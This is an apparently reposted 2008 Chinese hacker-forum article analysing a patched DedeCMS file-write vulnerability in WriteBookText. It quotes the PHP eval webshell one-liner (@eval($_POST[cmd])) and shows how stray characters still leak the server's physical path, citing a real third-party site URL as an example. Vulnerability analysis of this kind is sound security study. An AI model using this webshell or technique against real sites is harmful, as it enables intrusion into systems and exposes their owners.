首 页文章中心黑客工具黑吧学院技术论坛安全培训免费频道最近更新瑞星在线杀毒黑吧百度繁體中文
  设为首页
加入收藏
发布作品
   
栏目导航
· 漏洞利用 · 脚本注入
· 入侵实例 · 编程代码
· 逆向工程
热门文章
· 如何封别人QQ
· 充QQ币的疯狂——宽...
· 免费得QB
· 400秒远程攻破你的Q...
· [图文] QQ免费建400个群
· [组图] 给你一台永远不关机...
· [注意] QQ宠物砸蛋秘诀
· 再次有机会免费获得...
· 想的挂QQvip的进
· 在QQ中将自己从对方...
相关文章
· dedecms gbk版0day
· 织梦(Dedecms)任意代...
· dedecms v5.1 漏洞
· [图文] 如何防止黑客利用新...
· dedecms注射漏洞
· DedeCMS 5.1 直接写...
· Dedecms V5可执行文...
· Dedecms getip()的漏...
· dedecms v5.1 Write...
· [图文] 教菜鸟来玩DedeCms ...
dedecms 补出来的一个鸡肋漏洞
作者:佚名  来源:转载  发布时间:2008-11-9 0:52:51  发布人:黑客动画吧

减小字体 增大字体

作者:冰的原点[L.S.T]&[0.S.T]

刚看了下小帅同志的博客发现上面又介绍了一个关于dedecms的一个0day(http://www.xssor.cn/sa/?action=show&id=58),不过这个漏洞和几个月前的那个直接写文件的漏洞好象不在一个文件(我记得不太清楚,大家勿怪),刚好手里有一个dedecms的站,但是测试的时候老是不成功。于是下载了一套最新版的dede下载下来看了一下,原来官方早已经补了。可是我在测试的时候,发现官方的补救措施不太明显。下面我们来回顾一下漏洞的形成。在member/story_add_content_action.php文件夹下有如下代码:
WriteBookText($arcID,stripslashes($body));
再来看一下这个函数是处么写的,在include\inc_bookfunctions.php:
function WriteBookText($cid,$body)
{
        global $cfg_cmspath,$cfg_basedir;
        $ipath = $cfg_cmspath."/data/textdata";
        $tpath = ceil($cid/5000);
        if(!is_dir($cfg_basedir.$ipath)) MkdirAll($cfg_basedir.$ipath,$GLOBALS['cfg_dir_purview']);
        if(!is_dir($cfg_basedir.$ipath.'/'.$tpath)) MkdirAll($cfg_basedir.$ipath.'/'.$tpath,$GLOBALS['cfg_dir_purview']);
        $bookfile = $cfg_basedir.$ipath."/{$tpath}/bk{$cid}.php";
        $body = "<"."?php exit();\r\n".$body."\r\n?".">";
        @$fp = fopen($bookfile,'w');
最重要的是这一句:$body = "<"."?php exit();\r\n".$body."\r\n?".">";我没看以前的代码,但是前面加了一个exit();后,即使我们写入一句话,文件里的内容就会变成<?php exit();?><?php @eval($_POST[cmd])?>?> 也就是说,在执行eval函数前,先执行了exit函数,官方就这样限制了一句话木马的功能 ,但这里官方忽视了php的暴错性,我们要是随便写几个多余的字符进去呢?我们多写几个>或者其它比较关键的字符进去,反正stripslashes($body)会对它进行转义的,这样我们会轻而易举的得到网站的物理路径,这里给大家一个实例http://www.xyxxw.com/book/data/textdata/1/bk23.php


好了,漏洞分析到这里了!这也是我们的一句话为什么写进去了却连不上的原因了!有什么说的不对的地方,还请大家指正!
[ ] [返回上一页] [打 印] [收 藏]
 
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 网站导航 - 作品发布
互联网备案登记:粤ICP备05008775号
友情提示:浏览本站,请使用IE6.0浏览,并将分辩率设置为1024*768 为佳
Copyright © 2002-2005 Hack58.Com. All Rights Reserved .